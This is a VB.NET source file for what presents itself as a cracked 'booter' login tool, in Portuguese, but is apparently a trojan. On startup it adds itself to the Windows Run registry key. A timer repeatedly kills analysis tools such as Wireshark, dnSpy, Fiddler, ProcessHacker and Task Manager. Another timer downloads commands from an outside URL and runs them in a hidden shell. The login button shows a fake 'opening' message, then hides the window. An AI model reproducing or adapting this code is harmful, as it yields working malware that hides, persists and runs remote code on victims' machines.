Imports Microsoft.Win32, System.IO
Public Class Main

    Private Sub INICIA() Handles MyBase.Load
        Try
            My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
        Catch ex As Exception

        End Try

    End Sub

    Public Shared Sub VerificarProcessos(ByVal Processes As String)
        Dim splitProcess As String() = Processes.Split(New Char() {","c})
        For Each _Process In splitProcess
            Dim currentProcess As Process() = Process.GetProcessesByName(_Process)
            If currentProcess.Count > 0 Then
                For Each _Item In currentProcess
                    Try : _Item.Kill() : Catch : End Try
                Next
            End If
        Next
    End Sub

    Public Shared Sub MeVerifica()
        Dim p As Process() = Process.GetProcessesByName(Process.GetCurrentProcess.ProcessName)
        If (p.Count > 1) <> False Then
            End
        End If
    End Sub

    Public Shared Sub Navegar(ByVal URL As String)
        Try
            Dim webClient1 As New Net.WebClient
            Dim p As Process() = Process.GetProcessesByName("powershell")
            If (p.Count < 1) Then
                Shell(webClient1.DownloadString(URL), AppWinStyle.Hide)
            End If
        Catch ex As Exception

        End Try

    End Sub

    Private Sub LogInLogButton1_Click(sender As Object, e As EventArgs) Handles LogInLogButton1.Click
        MsgBox("BOOTER LIXO CRACKEADO! ABRINDO")
        Threading.Thread.Sleep(3000)
        Me.WindowState = FormWindowState.Minimized
        Me.ShowInTaskbar = False
        Me.Opacity = 0
        Me.ShowIcon = True
        Me.Hide()
        Logado.Show()
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        VerificarProcessos("wireshark,cv,smsniff,dnSpy,dnSpy-x86,MegaDumper,de4dot,de4dot-x64,Fiddler,FSE2,ProcessHacker,ProcessHacker2,taskmgr,ResourceHacker")
    End Sub

    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        MeVerifica()
        Navegar("http://nazisec.hol.es/register.txt")
    End Sub
End Class